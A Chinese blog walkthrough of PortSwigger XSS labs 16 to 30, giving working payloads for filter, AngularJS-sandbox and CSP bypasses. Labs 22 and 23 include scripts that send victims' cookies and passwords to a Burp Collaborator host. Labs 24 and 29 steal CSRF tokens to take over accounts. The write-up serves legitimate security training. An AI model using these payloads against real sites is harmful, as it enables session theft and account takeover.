> 技术文档 > PortSwigger web实验室-XSS篇下(BP靶场)

PortSwigger web实验室-XSS篇下(BP靶场)


目录

前言

上期回顾

靶场信息

靶场地址

跨站点脚本速查表 

题解

16.允许使用一些 SVG 标记的反射型 XSS

解题思路

解题过程

17.规范链接标签中的反射型 XSS

解题思路

解题过程

18.将反射型 XSS 注入 JavaScript 字符串中,并使用单引号和反斜杠进行转义

解题思路

解题过程

19.将反射型 XSS 注入带有尖括号和双引号的 JavaScript 字符串中,并使用 HTML 编码和单引号进行转义

解题思路

解题过程

20.将 XSS 存储到带有尖括号和双引号 HTML 编码以及单引号和反斜杠转义的 onclick 事件中

解题思路

解题过程

21.将反射型 XSS 注入带有尖括号、单引号、双引号、反斜杠和反引号的 Unicode 转义模板文字中

解题思路

解题过程

22.利用跨站脚本窃取 Cookie

解题思路

解题过程

23.利用跨站点脚本获取密码

解题思路

解题过程

24.利用 XSS 绕过 CSRF 防御

解题思路

解题过程

25.无需字符串即可逃逸 AngularJS 沙盒的反射型 XSS

解题思路

解题过程

26.利用 AngularJS 沙盒逃逸和 CSP 进行反射型 XSS

解题思路

解题过程

27.事件处理程序和 href 属性被阻止的反射型 XSS

解题思路

解题过程

28.JavaScript URL 中某些字符被阻止的反射型 XSS

解题思路

解题过程

29.反射型 XSS 受到非常严格的 CSP 保护,并存在悬挂标记攻击

解题思路

解题过程

30.受 CSP 保护的反射型 XSS,并可绕过 CSP

解题思路

解题过程

写在最后


前言

Hello 大家好!这篇笔记我将继续分享关于 BP 靶场中 XSS 剩下的一些漏洞,其中包含了解题过程中的一些整理与思考。主要围绕实际解题时的思路拆解、关键细节和容易忽略的点,希望能帮助大家更深入地理解 XSS 的原理和利用方式。我尽量把每一步都讲清楚,包括一些遇到的坑和绕过的方式,方便大家理解。如果有不准确或不完善的地方,欢迎大家指出,我们一起探讨、一起进步。希望这篇内容能为正在学习 XSS 的你带来一些启发,也希望你能从中找到解题的乐趣!(▀̿Ĺ̯▀̿ ̿)

上期回顾

PortSwigger web实验室-XSS篇上(BP靶场)-CSDN博客

靶场信息

靶场地址

What is cross-site scripting (XSS) and how to prevent it? | Web Security Academy

跨站点脚本速查表 

Cross-Site Scripting (XSS) Cheat Sheet - 2025 Edition | Web Security Academy

题解

16.允许使用一些 SVG 标记的反射型 XSS

标签用于在网页中嵌入可缩放矢量图形(Scalable Vector Graphics,简称 SVG)。它是基于 XML 的图形格式,支持二维图形的绘制,包括路径、形状、文字和滤镜等。可以通过 CSS 和 JavaScript 操控,实现动态效果,直接写在网页中,兼容性好

是 SVG 动画模块中定义的专用标签,用于对 SVG 图形应用变换动画(如旋转、缩放、平移等),用来定义一个动画变换。

onbegin 是 标签支持的事件属性,表示当动画开始时触发的事件,可以赋值为 JavaScript 代码或函数。

解题思路

根据题目提示可知,本题与在上篇提到的第十四题(反射型 XSS 进入 HTML 上下文,大多数标签和属性被阻止)一样,都是被阻止了大部分标签,明显可见本题需要通过标签通关。我们可以像第十四题一样,通过bp的 Intruder 功能找出可见的标签事件完成注入攻击。

解题过程

进入页面后,在搜索框输入任意字符,发现我们的输入被插入到标签,单引号和尖括号没有被编码,说明可以闭合然后插入新的标签。可是我们经过测试发现大部分常见的标签都被拦截。

此时可以通过 BP 进行爆破,抓包发到  Intruder,然后访问 跨站点脚本速查表 并单击“将标签复制到剪贴板” ,可以参考下图操作

可见此时只有四个标签可用,选择  标签和  标签,继续进行爆破,找出可用的事件,如下图:

?search=\'

发现只有 onbegin 可用,开始构造payload

Payload:\'

17.规范链接标签中的反射型 XSS

accesskey 是 HTML 元素的一个全局属性,用于定义快捷键。当用户按下对应的快捷键(通常是 Alt + x 或者其他组合,视浏览器和操作系统而定),浏览器会聚焦到该元素,方便键盘导航。

解题思路

本题是反射型 XSS ,注入点更常见于 URL 参数、搜索框等直接影响页面生成的输入点。观察测试什么是用户可控的数据,会被调用到哪。并且根据题目提示尖括号被编码,无法注入标签,可以利用页面中已存在的标签,通过其属性事件或内容触发脚本执行。

解题过程

进入页面发现没有搜索框,进入帖子发现是评论区,但本题是反射型XSS,更应该注意url。此时查看代码发现随着打开帖子的不同,postId 参数的值在改变且直接用参数生成了 标签的 href

而url参数我们是可控的,尝试修改 postId 的值,发现 \"Invalid blog post ID\" ,页面不存在。

无法修改参数内容,尝试修改参数名

发现页面响应,且被写入  标签 ,通过参数赋值写入尖括号发现如题目所说被编码,尝试利用页面中已存在的标签,通过其属性事件或内容触发脚本执行。

Payload:?\'accesskey=\'x\'onclick=\'alert(1)//此处不能加空格:?\'accesskey=\'x\' onclick=\'alert(1)

利用第一个单引号闭合 href ,当用户按下对应的快捷键,浏览器会执行 alert(1),弹出提示框。

Chrome 中用 Alt+X 快捷键

Firefox 中用 ALT+SHIFT+X 快捷键

18.将反射型 XSS 注入 JavaScript 字符串中,并使用单引号和反斜杠进行转义

解题思路

本题是反射型XSS,单引号和反斜杠被转义,无法通过提前闭合单引号的方式写 JavaScript 代码,可能需要写入新的标签。

解题过程

进入页面后,输入任意字符串

而题目说单引号和反斜杠被转义,无法提前闭合字符串,尝试闭合标签写入新的标签

Payload:alert(1)

由此也可以看出标签中的数据是通过纯文本的形式传入的。

19.将反射型 XSS 注入带有尖括号和双引号的 JavaScript 字符串中,并使用 HTML 编码和单引号进行转义

解题思路

本题是反射型XSS,而且尖括号和双引号都被编码,无法提前闭合标签写入新的标签。虽然单引号被转义,但是反斜杠没有被转义,可以利用这个点提前闭合字符串,写入JavaScript代码。

解题过程

进入页面后输入任意字符串

题目说尖括号和双引号被编码,单引号被转义,我们尝试验证一下

由此可以推测,参数被写入标签的方式是纯文本,无注入点。尝试利用没有被转义的反斜杠提前闭合变量 searchTerms 并写入JavaScript代码。

Payload:\\\';alert(1)//

这里的 alert(1) 是独立语句执行,变量赋值和弹窗调用分开

官方Payload:\\\'-alert(1)//

这里的 alert(1) 在表达式中被执行,赋值是整个表达式计算的结果 NaN(即NaN - undefined=NaN)

20.将 XSS 存储到带有尖括号和双引号 HTML 编码以及单引号和反斜杠转义的 onclick 事件中

:HTML 中表示单引号 \' 的实体,浏览器在解析 HTML 标签的属性或文本内容时,会把 ' 解析成字符 \',在 JavaScript 代码的字符串中,' 只是普通字符序列,不会被自动转换成单引号。服务器通常不会自动解码 HTML 实体,也就是说它收到的输入中如果有 ',默认是当普通字符串处理,不会转成 \'。但是某些后端框架或程序会显式调用HTML实体解码函数,将 ' 转换成 \',然后再执行转义。因此,是否能用 ' 绕过单引号转义,关键在于服务器端是否对输入进行了 HTML 实体解码。在本题中 onclick 是 HTML 标签的属性,浏览器在解析 HTML 标签时,会先对属性值中的 HTML 实体做解码,然后传递给 JavaScript 引擎执行。

tracker 是一个对象,里面有一个叫 track 的方法

track() {} 等价于:

var tracker = { track: function() { // 方法体,这里是空的 }};

track() 是 tracker 对象的一个方法,可以调用 tracker.track() 。举个例子

var tracker = { track() { console.log(\'Tracking something\'); }};tracker.track(); // 会输出:Tracking something

解题思路

本题是存储型XSS,且尖括号和双引号被编码,单引号和反斜杠被转义。而根据题目提示当点击评论作者姓名时调用函数 alert() ,并结合之前做过的题,可以推测本题可能和 href 和 onclick 属性有关,而此时单引号和反斜杠被转义,如何绕过转义就是我们要做的。

解题过程

进入评论页面,输入任意评论和信息并提交,之后查看页面代码

我们输入的 Website 被写入了 href 和 onclike 的对象方法 tracker.track(\'http://abcd\') ,因为方法体为空,所以不会发生什么。而此时我们就可以利用本题开头提到的HTML实体编码,通过 '来绕过转义提前闭合字符串。onclick 是 HTML 标签的属性,浏览器在解析 HTML 标签时,会先对属性值中的 ,然后传递给 JavaScript 引擎执行。在提交评论时发现website部分需要符合格式要求,所以无法直接写入函数,需要通过写入数学表达式的形式注入payload。

Payload:http://'-alert(1)-'

\'http://\' - alert() - \'\'

\'http://\' 是一个字符串,alert() 会执行并弹窗(因为 alert 是一个函数,调用时会先执行)。alert() 返回 undefined,字符串 \'http://\' 转成数字是 NaN,即NaN - undefined - \'\'  最后返回NaN。

提交之后返回评论页面,点击刚刚提交的评论的用户名,就会触发弹窗。

21.将反射型 XSS 注入带有尖括号、单引号、双引号、反斜杠和反引号的 Unicode 转义模板文字中

JavaScript 中的模板字面量是 ES6 引入的一种字符串字面量写法,用反引号 ` 包围字符串,这个字符串必须用 反引号 ` 包围。它支持插值表达式,可以用 ${...} 插入变量或表达式,表达式的结果会拼接到字符串中。举个例子:

let a = 10;let str = `a 的值是 ${a * 2}`; // 字符串会是 \"a 的值是 20\"

解题思路

本题是反射型XSS,尖括号、单引号、双引号、反斜杠和反引号被 Unicode 转义。根据提示反射发生在一个模板字符串内,但是反引号被转义,无法提前闭合模板字面量,只能通过引入 ${...} 插入变量或表达式。

解题过程

进入页面,输入任意字符串并查看代码

由此可见,用户输入(比如 abcd1234)是通过 JS 变量 message 放到模板字面量(反引号字符串)里的,再通过 innerText 安全写入到了页面,所以标签不存在注入点。而根据题目,反引号被转义(自行测试),只能通过 ${...} 插入表达式

Payload:${alert(1)}

22.利用跨站脚本窃取 Cookie

大多数真正的XSS攻击都会用类似的方式:先把恶意代码注入到目标网站(存储型、反射型都行),当用户浏览受感染页面时,代码在浏览器执行,代码再把敏感信息(cookie、token、页面数据等)发送到攻击者的服务器。

解题思路

本题是最基础的存储型XSS,需要我们窃取受害者的会话 Cookie,然后使用此 Cookie 冒充受害者。我们需要构造一个payload,让受害者在浏览评论时执行脚本,向我们的服务器发送受害者的Cookie,我们可以利用 Burp Collaborator 充当我们的服务器。

解题过程

进入评论页面,因为是最基础的存储型XSS漏洞,就不再深入,主要讲如何窃取受害者Cookie和利用受害者Cookie登入。在评论区发送payload内容

Payload:fetch(\'https://BURP-COLLABORATOR-SUBDOMAIN\', {method: \'POST\',mode: \'no-cors\',body:document.cookie});//记得将BURP-COLLABORATOR-SUBDOMAIN改成自己Collaborator生成的payload

fetch:浏览器原生的接口,用于发起网络请求。
URL:https://BURP-COLLABORATOR-SUBDOMAIN 是你的 Burp Collaborator 服务器地址,专门用于接收和记录被攻击的请求。
method: \'POST\':使用 POST 方法发送数据。
mode: \'no-cors\':允许跨域请求,但不会暴露响应内容(这避免了跨域限制)。
body: document.cookie:发送当前网页的 cookie 信息作为请求体。

将评论发出后评论被浏览就会触发脚本向目标服务器发送当前网页的cookie

在 Collaborator 响应包中找到抓到的 cookie (注意请求包有两个参数,secret=...; session=...),复制下来。然后返回页面,点击“HOME”返回主页,利用 BP 抓包(此处我是使用Firefox浏览器),抓到包之后将刚刚抓到cookie换上去然后放包,至此,我们就成功冒充了受害者。

23.利用跨站点脚本获取密码

解题思路

本题是最基础的存储型XSS,需要我们窃取受害者的账号密码,利用受害者的账号密码登录才能通关。我们需要构造一个payload注入评论区,使受害者在浏览评论时触发脚本,账号密码被窃取,并发送至我们的服务器。

解题过程

进入评论页面,在评论区发送构造的payload

Payload://记得将BURP-COLLABORATOR-SUBDOMAIN改成自己生成服务器的地址

第一个输入框是用户名输入框,用户在这里输入用户名。它有 id=\"username\",方便 JavaScript 通过 username.value 访问这个输入框的内容。

第二个输入框是密码输入框,用户输入密码。绑定了 onchange 事件,意思是当密码长度改变且有值时触发 JS 代码。

发送一个 HTTP POST 请求到攻击者控制的 Collaborator 服务器(BURP-COLLABORATOR-SUBDOMAIN 代表攻击者服务器地址)。请求体内容是拼接的字符串:用户名输入框的值 + : + 当前密码输入框的值。

发送后返回评论区,查看collaboration发现返回了请求包,查看发现返回了用户名和密码

利用受害者的账号密码登录其账号成功通关


######
为什么我没有改变密码框的值也触发了JS代码?
我自己在本地建了一个html,将注入的payload写到了我创建的html,经过测试,确实是需要在输入密码的框改变密码的值且密码长度不为0才会触发。我推测是靶场的设定,会自动帮我们填入账号密码。
PS:如果有知道的大佬可以在评论区说一下,respect!!!(•̀ᴗ•́)و ̑̑
######

24.利用 XSS 绕过 CSRF 防御

CSRF Token 防御:为每个需要权限的请求(POST/PUT/DELETE)生成一个随机的、不可预测的 token,并且 和用户会话绑定。(不是一个独立的随机字符串,而是和当前用户的登录状态一一对应的)

解题思路

本题是最基础的存储型XSS,目的是让我们学习如何通过XSS漏洞窃取用户CSRF令牌,利用此令牌完成相关操作。本题需要我们窃取CSRF令牌,然后使用该令牌更改查看博客文章评论的用户的电子邮件地址,攻击者就能用 密码找回功能 接管账户。我们在评论区注入payload,当受害者浏览评论时就会触发脚本,自动窃取用户的令牌,并更改受害者的电子邮件地址。

解题过程

进入页面,登录靶场提供的账号密码登录。此时处于登录状态,查看页面代码发现页面里有一个标准的 CSRF token 隐藏字段

此时我们需要加载用户帐户页面,提取 CSRF 令牌,然后使用该令牌更改受害者的电子邮件地址。进入评论页面,在评论区发送构造的payload

Payload:var req = new XMLHttpRequest();req.onload = handleResponse;req.open(\'get\',\'/my-account\',true);req.send();function handleResponse() { var token = this.responseText.match(/name=\"csrf\" value=\"(\\w+)\"/)[1]; var changeReq = new XMLHttpRequest(); changeReq.open(\'post\', \'/my-account/change-email\', true); changeReq.send(\'csrf=\'+token+\'&email=test@test.com\')};

XMLHttpRequest:JS 用来发起 HTTP 请求的对象,这里请求的是 /my-account 页面。
请求完成后(onload),会调用 handleResponse 函数来处理返回数据。获取目标用户自己的 /my-account 页面源码(因为攻击脚本在受害者浏览器执行,所以能用用户的 cookie 访问这个受保护页面)。
this.responseText:/my-account 返回的整个 HTML 源码。
.match(/name=\"csrf\" value=\"(\\w+)\"/):用正则匹配 CSRF token 的值(\\w+表示连续字母数字下划线),拿到用户真实的 token。
再新建一个请求对象 changeReq,发送 POST 请求到 /my-account/change-email。请求体中带上刚才偷到的 CSRF token,以及攻击者想要设置的邮箱 test@test.com。攻击者就能用密码找回功能 接管账户。

25.无需字符串即可逃逸 AngularJS 沙盒的反射型 XSS

旧版的 AngularJS 沙盒机制不完善,允许访问 constructor ,表达式中的 constructor.constructor 访问到全局 Function 构造器,执行任意代码。新版 AngularJS 加强了限制,禁止访问 constructor 和其它危险属性,防止动态构造函数执行字符串代码,使得像 constructor.constructor(\'alert(1)\')() 不能运行。并且沙盒阻止字符串字面量动态构造代码,就是不允许直接用 \'alert(1)\' 这种字符串写代码并执行,防止直接注入执行任意JS。因此引出了本题不通过字符串字面量逃逸  AngularJS 沙盒 的方法。

解题思路

做这种题首先要确定注入点和上下文,明确用户输入在哪个参数,如何被注入到 AngularJS 表达式或模板中。观察注入的内容是怎么处理的,比如有没有自动转义、过滤特殊字符等。然后是要了解并识别沙盒的限制,确定哪些表达式是允许的,哪些被限制或过滤。再选择绕过技术构造payload逐步测试。我是看着官方的教程去学的,所以在这里就不过多赘述思路 (因为我在做的时候也没什么思路,如果有大佬看到这篇文章希望可以指点一二)。

解题过程

进入页面输入任意字符串并检查页面代码

$scope.query = {}:创建了一个空对象 query。
var key = \'search\':key 字符串设为 \"search\"
$scope.query[key] = \'abcd1234\':将字符串 \'abcd1234\' 赋值给 query.search
$scope.value = $parse(key)($scope.query):$parse 是 AngularJS 的服务,用来把字符串解析成表达式函数。这里调用 $parse(\'search\')($scope.query),等价于执行 $scope.query.search 表达式,$parse(abcd1234) 会直接把字符串 abcd1234 解析成 AngularJS 表达式并执行。

也就是说我们的表达式会直接被当成 AngularJS 表达式执行。但是根据我在本题开头提到的AngularJS 沙盒机制,本题无法像上篇第11题 (AngularJS 表达式中带有尖括号和双引号的 DOM XSS HTML 编码) 那样直接用字符串写代码执行,我们需要用不通过字符串逃逸 AngularJS 沙盒的方式通关本题。

Payload:https://YOUR-LAB-ID.web-security-academy.net/?search=1&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1

search=1:这是 URL 中的查询参数,可能用于触发搜索功能。
1. toString().constructor.prototype.charAt = [].join;
toString():这是 JS 中所有对象和变量都会有的一个方法,返回字符串表示。
//例如 (123).toString() 返回 \"123\"。
toString().constructor:toString() 是函数,函数的构造函数就是 Function。
//这里拿到的就是 Function 构造器。
toString().constructor.prototype:这是 Function.prototype,所有函数的原型(为了修改所有字符串的 charAt 方法)
charAt:charAt 是字符串对象的一个方法,返回字符串中指定位置的字符。
[].join:取出数组 [] 上的 join 方法本身。join 是数组方法,把数组元素用指定分隔符拼接成字符串。
整句意思:
把 Function.prototype 上的 charAt 方法替换成 Array.prototype.join。也就是说,接下来对函数对象调用 .charAt(),其实是调用数组的 .join() 方法。(沙盒里直接用 join 会被过滤或限制,这是一个典型的原型链劫持技巧)
2. [1] | orderBy: toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41) = 1
这部分比较复杂,逐个拆解:
[1]:这是一个数组,里面只有一个元素 1。
管道符 |:AngularJS 过滤器语法,用于管道处理。
orderBy:orderBy 是 AngularJS 的排序过滤器,通常用于对数组排序。
toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41):这是调用 Function.fromCharCode,fromCharCode 是 String 的静态方法,能根据字符编码返回字符串。
参数对应的字符编码:
120 -> \'x\'
61 -> \'=\'
97 -> \'a\'
108 -> \'l\'
101 -> \'e\'
114 -> \'r\'
116 -> \'t\'
40 -> \'(\'
49 -> \'1\'
41 -> \')\'
拼接起来是:\"x=alert(1)\"
= 1:这里是给前面的表达式赋值为 1。(为了使表达式用为真,如果不为true,可能不执行等号左边内容)

[1] | orderBy: \"x=alert(1)\" = 1

整句意思:
这里是用 orderBy 过滤器对 [1] 数组排序。排序依据是字符串 \"x=alert(1)\",再用 =1 做判断。其实这段代码的目的是在 AngularJS 解析表达式时,利用 fromCharCode 动态生成字符串 \"x=alert(1)\",执行了 alert(1)。

(在 orderBy 过滤器内部,排序过程必须调用字符串的 charAt 方法,因为 charAt 被劫持成了 join,orderBy 在排序时无意间调用了 join)

整个payload思路:

先把 Function.prototype.charAt 改成 Array.prototype.join,搞混原型链方法。
然后通过 AngularJS 的管道符和 orderBy 过滤器,利用 fromCharCode 构造字符串 \"x=alert(1)\"。
这串字符串实际上构成了一个表达式,让 AngularJS 解析执行,产生 alert(1) 的效果。

同时可以看出会把表达式的返回值转成字符串显示在页面上。

26.利用 AngularJS 沙盒逃逸和 CSP 进行反射型 XSS

CSP:浏览器的安全策略,通过限制可执行脚本的来源,防止 XSS。

解题思路

本题网页开启 CSP限制,CSP 禁止内联脚本,但是 AngularJS 表达式本身就是在页面上执行的(例如 {{1+1}}),而且执行时是由 AngularJS 框架自身加载的脚本触发的,不违反 CSP 的限制机制 (利用客户端 AngularJS 模板注入绕过CSP限制) 。但是现代 AngularJS 加了沙盒,不允许直接调用 alert 这种危险函数。所以才需要沙盒逃逸技巧,在 AngularJS 的上下文里间接调用 alert。

解题过程

进入网页后在搜索框输入任意字符,检查页面源代码

可见使用了 AngularJS ,并且启用了 CSP (所有资源只能从本站加载,只能加载本站域名上的 JS 文件,不能执行内联 标签里的代码,也不能用 eval() 或 Function()。)。

此时在搜索框输入{{1+1}} ,发现搜索结果返回2,说明 AngularJS 模板被解析,存在AngularJS 模板注入,此时开始尝试逃逸沙盒。

https://YOUR-LAB-ID.web-security-academy.net/?search=%3Cinput%20id=x%20ng-focus=$event.composedPath()|orderBy:%27(z=alert)(document.cookie)%27%3E#x

解码之后

#x

1.利用 ng-focus 指令触发 AngularJS 表达式:

是 AngularJS 的指令,当输入框获得焦点时执行表达式,#x 会让页面自动跳转到 id=x 的元素,并触发其 focus 事件。

2.利用 orderBy 过滤器进行代码执行:

orderBy:\'(z=alert)(document.cookie)\':
orderBy 是 AngularJS 的过滤器,通常用于排序数组,它会执行其参数中的表达式,字符串会被当作表达式求值。

(z=alert)(document.cookie) 等价于:

z = alert;z(document.cookie);

即:调用 alert(document.cookie)
3.利用 $event.composedPath() 触发数据流
$event.composedPath() 返回事件路径(数组),作为 orderBy 的输入。因为 orderBy 需要处理一个数组,AngularJS 会尝试解析并执行后面的表达式。这个组合在某些 AngularJS 版本中可以绕过沙箱。
4. 自动触发 focus
页面跳转到 #x,浏览器自动聚焦到 ,触发 ng-focus,从而执行 payload。

但是本题需要我们在服务器构造payload发送给受害者,也就是我们需要构造一个页面发送给受害者,当受害者点击链接后会自动跳转到漏洞页面,并执行我们构造的payload

Payload:location=\'https://YOUR-LAB-ID.web-security-academy.net/?search=%3Cinput%20id=x%20ng-focus=$event.composedPath()|orderBy:%27(z=alert)(document.cookie)%27%3E#x\';

利用 location=\' \' 实现页面跳转

不是有 CSP 限制吗,为什么能执行 标签?--因为标签是在我们构建的网页中执行的,此处没有 CSP 限制。当受害者点击链接,先进入我们构造的网页,然后实现跳转,触发脚本执行。

27.事件处理程序和 href 属性被阻止的反射型 XSS

解题思路

该实验包含一个反射型 XSS 漏洞,其中有一些白名单标签(svg),但所有事件(如 onclickonmouseoveronload 等)和 href 锚点属性(如 被过滤)都被阻止。题目要求注入一个向量,当单击该向量时调用该alert函数。SVG 标签(如 )允许部分属性设置,此时点击行为需要通过 链接属性触发 JS,可以利用这一点构造payload。

解题过程

 进入页面后抓包,通过bp的 Intruder 测试白名单,如下图

爆破出了白名单标签,接着再测试是否有可用事件

发现跟题目描述的一致,所有事件被阻止。构造payload

Payload:https://YOUR-LAB-ID.web-security-academy.net/?search=%3Csvg%3E%3Ca%3E%3Canimate+attributeName%3Dhref+values%3Djavascript%3Aalert(1)+%2F%3E%3Ctext+x%3D20+y%3D20%3EClick%20me%3C%2Ftext%3E%3C%2Fa%3E

解码之后:

   点击我 

SVG 提供了一个可插入其他元素的容器, 标签用于定义可点击区域,配合 href 属性可以指定点击后的行为。定义动画效果,其属性 attributeName=\"href\"values=\"javascript:alert(1)\" 分别用来指定动画作用的属性为 href 和设置动画的值为 javascript:alert(1),即点击时执行 JavaScript 脚本。 标签在 SVG 中显示文本,提供用户可点击的文本提示

该 payload 不使用 onclick 等事件属性,而是通过 SVG 的 标签动态修改 标签的 href 属性,而不是直接写 href=\"javascript:...\"。过滤器通常只检查静态属性值,不会解析动画中的 attributeName 和 values,所以 就成了实验室中唯一可用的点击触发 JS 的路径。

28.JavaScript URL 中某些字符被阻止的反射型 XSS

解题思路

根据题目提示和查看页面源码后发现,本题的payload被放在JS字符串里,属于JS字符串反射。同时某些关键字符被过滤,一些事件属性被阻止。分析限制条件,观察是否被过滤或报错。思考如何绕过限制。本题是反射型XSS,注入点在url,直接调用函数被阻止,只能间接调用函数,利用类型转换触发函数。

解题过程

进入页面查看源代码

也就是说当点击 Back to Blog 时会执行JS代码,而url参数post是我们的可控参数,可以在此构造payload。经过测试发现 () ,/ ,空格 等被过滤,无法直接调用函数,需要间接调用,通过异常触发或类型转换触发函数。

https://YOUR-LAB-ID.web-security-academy.net/post?postId=5&%27},x=x=%3E{throw/**/onerror=alert,1337},toString=x,window%2b%27%27,{x:%27

解码之后

?postId=5&\'},x=x=>{throw/**/onerror=alert,1337},toString=x,window+\'\',{x:\'

\'}:闭合原本的结构
x = x => { throw/**/οnerrοr=alert,1337 }:定义箭头函数 x,throw 抛出异常,触发window.onerror
οnerrοr=alert 是将alert赋值给onerror,所以异常触发时会调用 alert。但是 throw 要求后面的表达式返回一个明确的值,所以需要用 , 来返回一个值。( a,b --先执行a,再执行b,最后返回b的值)而此处的/**/则是为了绕过对空格的过滤。
toString=x:把对象的 toString() 指向箭头函数 x,当对象被类型转换为字符串时,会自动调用箭头函数 → 弹窗。
window+\'\':JS 隐式类型转换:window 对象加字符串 → 调用 toString(),间接触发 alert
{x:\':闭合对象字面量,保证 JS 语法合法,使整个 payload 能顺利执行。

此时点击  Back to Blog 会触发JS代码,触发弹窗。

29.反射型 XSS 受到非常严格的 CSP 保护,并存在悬挂标记攻击

解题思路

本题使用严格的 CSP 来阻止对外部网站的传出请求,要求修改受害者的电子邮箱,但在此之前需要先窃取到受害者的 CSRF 令牌,在本题我使用了\"更改表单窃取令牌“的方法。

(在做本题时我不太懂,看官方的做法也是不太理解也没有成功,后来是在网上看到了其他的解法)

https://medium.com/@hackllego/reflected-xss-protected-by-very-strict-csp-with-dangling-markup-attack-port-swigger-xss-lab-e8811c2e476d

(这是本题两种解法的参考,虽然解法不太一样,但是原理我认为是一样的)

解题过程

进入网页后先登录提供给我们的账号,并检查源代码

此时发现可以通过控制参数 email 控制输入,更改电子邮箱(可自行尝试),同时 CSRF token 就在注入点的后面。经过测试发现貌似没有字符被转义或过滤,此时尝试闭合标签和,尝试修改表单并提交新的表单,通过这种方式窃取令牌。

Payload:https://YOUR-LAB-ID.web-security-academy.net/my-account?email=\">

\">:先闭合掉页面中原本的 ,防止嵌套出错。

class=\"login-form\":看起来像正常登录表单,迷惑用户。
name=\"evil-form\":方便 JavaScript 控制它。
action=\"https://...oastify.com/token\":表单提交时,会访问你的 OAST 地址,这里是攻击者的监听服务器。
method=\"GET\":表单内容会拼到 URL 查询参数里发出,方便你在 OAST 里看到完整数据。
\';

保存后发送给受害者,如果BURP-COLLABORATOR 没有接收到响应就点击查看漏洞然后模拟受害者点击按钮。接收到响应之后,将令牌复制下来。用BP抓包(修改电子邮箱的包),发送到Repeater。

先修改email为hacker@evil-user.net,右键单击该请求,然后从上下文菜单中选择“参与工具”,然后选择“生成 CSRF PoC”(可以一键生成可运行的 HTML 表单,比较方便)。弹出窗口会显示该请求及其生成的 CSRF HTML。在请求中,将 CSRF 令牌替换为之前从受害者那里窃取的令牌。

将CSRF HTML代码复制后粘贴到服务器

保存之后发送给受害者。点击查看漏洞,进去之后发现自动点击提交按钮,然后发现邮箱地址被改成了hacker@evil-user.net。

还有另一种方法就是在上一种方法窃取令牌成功后,继续通过这种做法修改表单,插入新的恶意表单,将隐藏字段email修改成指定的邮箱地址。

Payload: location = \'https://LAB-ID.web-security-academy.net/my-account?email=\">\' ; 

保存之后发给受害者,然后点击查看漏洞,成功通关

30.受 CSP 保护的反射型 XSS,并可绕过 CSP

script-src-elem:指定允许加载 元素的源

\'unsafe-inline\':允许执行内联脚本。

解题思路

本题使用 CSP 并包含反射型 XSS 漏洞,根据提示可绕过 CSP。在测试时发现服务端可能会把 token 参数拼接到 CSP 头部里,而 token 参数是我们可控的数据,可以利用这个点构造payload注入。

解题过程

进入页面在搜索框输入任意字符串,查看网络响应

这条CSP的意思是默认所有资源只能同源加载,禁止插件对象,脚本和样式都只能同源且不能内联,这样几乎封死了跨域和内联 XSS,只能从同源 JS 漏洞或 CSP 注入下手绕过。而此时发现token 参数被直接拼接到 CSP 头部里,利用这一点构造payload绕过CSP限制

https://YOUR-LAB-ID.web-security-academy.net/?search=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&token=;script-src-elem%20%27unsafe-inline%27

解码之后

?search=alert(1)&token=;script-src-elem \'unsafe-inline\'

传入token参数然后闭合,修改CSP,所以标签可以被执行。

写在最后

本次关于 BP 靶场中 XSS 下半部分的学习分享就到这里啦~感兴趣的同学可以关注我哦!后续还会继续更新其他板块的学习内容⁂((✪⥎✪))⁂